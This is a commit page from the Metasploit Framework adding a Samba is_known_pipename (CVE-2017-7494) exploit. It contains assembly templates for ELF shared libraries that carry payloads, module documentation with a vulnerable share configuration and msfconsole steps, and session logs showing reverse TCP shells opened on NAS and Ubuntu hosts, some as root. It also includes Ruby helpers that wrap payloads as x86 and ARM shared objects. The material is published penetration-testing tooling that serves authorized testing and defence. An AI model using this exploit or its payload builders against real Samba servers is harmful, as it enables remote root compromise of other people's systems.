Skip to content

Commit ae22b4c

Browse files
committed
Land rapid7#8450, Samba is_known_pipename() exploit
2 parents eb1f6fc + 4ec5831 commit ae22b4c

File tree

8 files changed

+731
-7
lines changed

8 files changed

+731
-7
lines changed
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
; build with:
2+
; nasm elf_dll_armle_template.s -f bin -o template_armle_linux_dll.bin
3+
4+
BITS 32
5+
org 0
6+
ehdr:
7+
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
8+
db 0, 0, 0, 0, 0, 0, 0, 0
9+
dw 3 ; e_type = ET_DYN
10+
dw 40 ; e_machine = EM_ARMLE
11+
dd 1 ; e_version = EV_CURRENT
12+
dd _start ; e_entry = _start
13+
dd phdr - $$ ; e_phoff
14+
dd shdr - $$ ; e_shoff
15+
dd 0 ; e_flags
16+
dw ehdrsize ; e_ehsize
17+
dw phdrsize ; e_phentsize
18+
dw 2 ; e_phnum
19+
dw shentsize ; e_shentsize
20+
dw 2 ; e_shnum
21+
dw 1 ; e_shstrndx
22+
ehdrsize equ $ - ehdr
23+
24+
phdr:
25+
dd 1 ; p_type = PT_LOAD
26+
dd 0 ; p_offset
27+
dd $$ ; p_vaddr
28+
dd $$ ; p_paddr
29+
dd 0xDEADBEEF ; p_filesz
30+
dd 0xDEADBEEF ; p_memsz
31+
dd 7 ; p_flags = rwx
32+
dd 0x1000 ; p_align
33+
34+
phdrsize equ $ - phdr
35+
dd 2 ; p_type = PT_DYNAMIC
36+
dd 7 ; p_flags = rwx
37+
dd dynsection ; p_offset
38+
dd dynsection ; p_vaddr
39+
dd dynsection ; p_vaddr
40+
dd dynsz ; p_filesz
41+
dd dynsz ; p_memsz
42+
dd 0x1000 ; p_align
43+
44+
shdr:
45+
dd 1 ; sh_name
46+
dd 6 ; sh_type = SHT_DYNAMIC
47+
dd 0 ; sh_flags
48+
dd dynsection ; sh_addr
49+
dd dynsection ; sh_offset
50+
dd dynsz ; sh_size
51+
dd 0 ; sh_link
52+
dd 0 ; sh_info
53+
dd 8 ; sh_addralign
54+
dd 7 ; sh_entsize
55+
shentsize equ $ - shdr
56+
dd 0 ; sh_name
57+
dd 3 ; sh_type = SHT_STRTAB
58+
dd 0 ; sh_flags
59+
dd strtab ; sh_addr
60+
dd strtab ; sh_offset
61+
dd strtabsz ; sh_size
62+
dd 0 ; sh_link
63+
dd 0 ; sh_info
64+
dd 0 ; sh_addralign
65+
dd 0 ; sh_entsize
66+
dynsection:
67+
; DT_INIT
68+
dd 0x0c
69+
dd _start
70+
; DT_STRTAB
71+
dd 0x05
72+
dd strtab
73+
; DT_SYMTAB
74+
dd 0x06
75+
dd strtab
76+
; DT_STRSZ
77+
dd 0x0a
78+
dd 0
79+
; DT_SYMENT
80+
dd 0x0b
81+
dd 0
82+
; DT_NULL
83+
dd 0x00
84+
dd 0
85+
dynsz equ $ - dynsection
86+
87+
strtab:
88+
db 0
89+
db 0
90+
strtabsz equ $ - strtab
91+
global _start
92+
_start:
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
; build with:
2+
; nasm elf_dll_x86_template.s -f bin -o template_x86_linux_dll.bin
3+
4+
BITS 32
5+
org 0
6+
ehdr:
7+
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
8+
db 0, 0, 0, 0, 0, 0, 0, 0
9+
dw 3 ; e_type = ET_DYN
10+
dw 3 ; e_machine = EM_386
11+
dd 1 ; e_version = EV_CURRENT
12+
dd _start ; e_entry = _start
13+
dd phdr - $$ ; e_phoff
14+
dd shdr - $$ ; e_shoff
15+
dd 0 ; e_flags
16+
dw ehdrsize ; e_ehsize
17+
dw phdrsize ; e_phentsize
18+
dw 2 ; e_phnum
19+
dw shentsize ; e_shentsize
20+
dw 2 ; e_shnum
21+
dw 1 ; e_shstrndx
22+
ehdrsize equ $ - ehdr
23+
24+
phdr:
25+
dd 1 ; p_type = PT_LOAD
26+
dd 0 ; p_offset
27+
dd $$ ; p_vaddr
28+
dd $$ ; p_paddr
29+
dd 0xDEADBEEF ; p_filesz
30+
dd 0xDEADBEEF ; p_memsz
31+
dd 7 ; p_flags = rwx
32+
dd 0x1000 ; p_align
33+
34+
phdrsize equ $ - phdr
35+
dd 2 ; p_type = PT_DYNAMIC
36+
dd 7 ; p_flags = rwx
37+
dd dynsection ; p_offset
38+
dd dynsection ; p_vaddr
39+
dd dynsection ; p_vaddr
40+
dd dynsz ; p_filesz
41+
dd dynsz ; p_memsz
42+
dd 0x1000 ; p_align
43+
44+
shdr:
45+
dd 1 ; sh_name
46+
dd 6 ; sh_type = SHT_DYNAMIC
47+
dd 0 ; sh_flags
48+
dd dynsection ; sh_addr
49+
dd dynsection ; sh_offset
50+
dd dynsz ; sh_size
51+
dd 0 ; sh_link
52+
dd 0 ; sh_info
53+
dd 8 ; sh_addralign
54+
dd 7 ; sh_entsize
55+
shentsize equ $ - shdr
56+
dd 0 ; sh_name
57+
dd 3 ; sh_type = SHT_STRTAB
58+
dd 0 ; sh_flags
59+
dd strtab ; sh_addr
60+
dd strtab ; sh_offset
61+
dd strtabsz ; sh_size
62+
dd 0 ; sh_link
63+
dd 0 ; sh_info
64+
dd 0 ; sh_addralign
65+
dd 0 ; sh_entsize
66+
dynsection:
67+
; DT_INIT
68+
dd 0x0c
69+
dd _start
70+
; DT_STRTAB
71+
dd 0x05
72+
dd strtab
73+
; DT_SYMTAB
74+
dd 0x06
75+
dd strtab
76+
; DT_STRSZ
77+
dd 0x0a
78+
dd 0
79+
; DT_SYMENT
80+
dd 0x0b
81+
dd 0
82+
; DT_NULL
83+
dd 0x00
84+
dd 0
85+
dynsz equ $ - dynsection
86+
87+
strtab:
88+
db 0
89+
db 0
90+
strtabsz equ $ - strtab
91+
global _start
92+
_start:
246 Bytes
Binary file not shown.
246 Bytes
Binary file not shown.
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
## Vulnerable Application
2+
3+
This module exploits Samba from versions 3.5.0-4.4.14, 4.5.10, and 4.6.4 by loading a malicious shared library.
4+
Samba's download archives are [here](https://download.samba.org/pub/samba/stable/). There are some requirements
5+
for this exploit to be successful:
6+
7+
1. Valid credentials
8+
2. Writeable folder in an accessible share
9+
3. Server-side path of the writeable folder
10+
11+
However, in some cases anonymous access with common filesystem locations can be used to automate exploitation.
12+
13+
A vulnerable Samba config may have a share similar to the following in `smb.conf`. This is a setup for 'easy' exploitation
14+
where no SMB options are required to be set:
15+
16+
```
17+
[exploitable]
18+
comment = CVE-2017-7494
19+
path = /tmp
20+
writable = yes
21+
browseable = yes
22+
guest ok = yes
23+
```
24+
25+
Verified on:
26+
27+
1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
28+
2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
29+
3. Synology DS1512+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
30+
4. Synology DS1512+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
31+
5. Synology DS2415+ DSM 6.1-15047 (Samba 4.3.11)
32+
6. Ubuntu 14.04.5 x64 (Samba 4.3.9)
33+
7. Ubuntu 15.04 (Samba 4.1.13)
34+
8. Ubuntu 16.04 (Samba 4.3.11)
35+
9. Fedora 24 (Samba 4.4.13)
36+
37+
Currently not working against:
38+
39+
1. QNAP NAS Samba 4.4.9 on armv71
40+
2. WD MyClous NAS Samba 4.0.0rc5 armv71
41+
42+
### SELinux
43+
44+
Fedora (and possibly Redhat) are not exploitable in their default installation. SELinux must be adjusted to allow nmbd to use net_admin, and smbd to exec the payload.
45+
46+
```
47+
echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } for pid=2365 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495717997.099:267): avc: denied { net_admin } for pid=959 comm="nmbd" capability=12 scontext=system_u:system_r:nmbd_t:s0 tcontext=system_u:system_r:nmbd_t:s0 tclass=capability permissive=0\ntype=AVC msg=audit(1495745002.690:308): avc: denied { execmem } for pid=1830 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495745183.319:331): avc: denied { execute } for pid=2313 comm="smbd" path="/tmp/ucFtDpZI.so" dev="tmpfs" ino=27436 scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:object_r:smbd_tmp_t:s0 tclass=file permissive=0" | audit2allow -M cve-2017-7494; semodule -X 300 -i cve-2017-7494.pp
48+
```
49+
50+
## Verification Steps
51+
52+
1. Start msfconsole
53+
2. Do: ```use exploit/linux/samba/is_known_pipename```
54+
3. Do: ```set rhost [ip]```
55+
4. Do: ```set target [target #]```
56+
5. Do: ```exploit```
57+
58+
## Options
59+
60+
**SMB_SHARE_NAME**
61+
62+
The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this
63+
variable is non-blank, it will be preferred.
64+
65+
**SMB_SHARE_BASE**
66+
67+
The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are
68+
brute forced including:
69+
70+
1. /volume1
71+
2. /volume2
72+
3. /volume3
73+
4. /shared
74+
5. /mnt
75+
6. /mnt/usb
76+
7. /media
77+
8. /mnt/media
78+
9. /var/samba
79+
10. /tmp/home/home/shared
80+
81+
**SMB_FOLDER**
82+
83+
The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this
84+
variable is non-blank, it will be preferred.
85+
86+
## Scenarios
87+
88+
### Synology DS412+ w/ INTEL Atom D2700 on DSM 6.1.1-15101 Update 2
89+
90+
```
91+
msf exploit(is_known_pipename) > exploit
92+
93+
[*] Started reverse TCP handler on 1.2.3.117:4444
94+
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
95+
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
96+
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
97+
[-] 1.2.3.119:445 - Probe: /volume1/eePUbtdw.so: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
98+
[*] 1.2.3.119:445 - Trying location /volume1/ESX/eePUbtdw.so...
99+
[*] Command shell session 1 opened (1.2.3.117:4444 -> 1.2.3.119:34366) at 2017-05-24 21:12:07 -0400
100+
101+
id
102+
uid=0(root) gid=0(root) groups=0(root),100(users)
103+
uname -a
104+
Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Linux synology_cedarview_412+
105+
```
106+
107+
### Ubuntu 16.04
108+
109+
```
110+
msf exploit(is_known_pipename) > exploit
111+
112+
[*] Started reverse TCP handler on 192.168.0.3:4444
113+
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
114+
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
115+
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...
116+
[*] Command shell session 6 opened (192.168.0.3:4444 -> 192.168.0.3:45076) at 2017-05-24 19:41:40 -0500
117+
118+
id
119+
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
120+
```

lib/msf/core/exploit/smb/client.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -125,9 +125,10 @@ def unicode(str)
125125
#
126126
# You should call {#connect} before calling this
127127
#
128+
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
128129
# @return [void]
129-
def smb_login
130-
simple.login(
130+
def smb_login(simple_client = self.simple)
131+
simple_client.login(
131132
datastore['SMBName'],
132133
datastore['SMBUser'],
133134
datastore['SMBPass'],
@@ -142,7 +143,7 @@ def smb_login
142143
datastore['SMB::Native_LM'],
143144
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
144145
)
145-
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
146+
simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$")
146147
end
147148

148149

lib/msf/util/exe.rb

Lines changed: 30 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1049,7 +1049,18 @@ def self.to_linux_x64_elf(framework, code, opts = {})
10491049
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
10501050
end
10511051

1052-
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
1052+
# Create a 32-bit x86 Linux ELF_DYN containing the payload provided in +code+
1053+
#
1054+
# @param framework [Msf::Framework]
1055+
# @param code [String]
1056+
# @param opts [Hash]
1057+
# @option [String] :template
1058+
# @return [String] Returns an elf
1059+
def self.to_linux_x86_elf_dll(framework, code, opts = {})
1060+
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
1061+
end
1062+
1063+
# Create a 64-bit x86_64 Linux ELF_DYN containing the payload provided in +code+
10531064
#
10541065
# @param framework [Msf::Framework]
10551066
# @param code [String]
@@ -1060,7 +1071,7 @@ def self.to_linux_x64_elf_dll(framework, code, opts = {})
10601071
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
10611072
end
10621073

1063-
# self.to_linux_mipsle_elf
1074+
# Create a 32-bit ARMLE Linux ELF containing the payload provided in +code+
10641075
#
10651076
# @param framework [Msf::Framework]
10661077
# @param code [String]
@@ -1071,7 +1082,18 @@ def self.to_linux_armle_elf(framework, code, opts = {})
10711082
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
10721083
end
10731084

1074-
# self.to_linux_mipsle_elf
1085+
# Create a 32-bit ARMLE Linux ELF_DYN containing the payload provided in +code+
1086+
#
1087+
# @param framework [Msf::Framework]
1088+
# @param code [String]
1089+
# @param opts [Hash]
1090+
# @option [String] :template
1091+
# @return [String] Returns an elf
1092+
def self.to_linux_armle_elf_dll(framework, code, opts = {})
1093+
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
1094+
end
1095+
1096+
# Create a 32-bit MIPSLE Linux ELF containing the payload provided in +code+
10751097
# Little Endian
10761098
# @param framework [Msf::Framework]
10771099
# @param code [String]
@@ -1082,7 +1104,7 @@ def self.to_linux_mipsle_elf(framework, code, opts = {})
10821104
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
10831105
end
10841106

1085-
# self.to_linux_mipsbe_elf
1107+
# Create a 32-bit MIPSBE Linux ELF containing the payload provided in +code+
10861108
# Big Endian
10871109
# @param framework [Msf::Framework]
10881110
# @param code [String]
@@ -2117,8 +2139,12 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
21172139
end
21182140
if !plat || plat.index(Msf::Module::Platform::Linux)
21192141
case arch
2142+
when ARCH_X86
2143+
to_linux_x86_elf_dll(framework, code, exeopts)
21202144
when ARCH_X64
21212145
to_linux_x64_elf_dll(framework, code, exeopts)
2146+
when ARCH_ARMLE
2147+
to_linux_armle_elf_dll(framework, code, exeopts)
21222148
end
21232149
end
21242150
when 'macho', 'osx-app'

0 commit comments

Comments
 (0)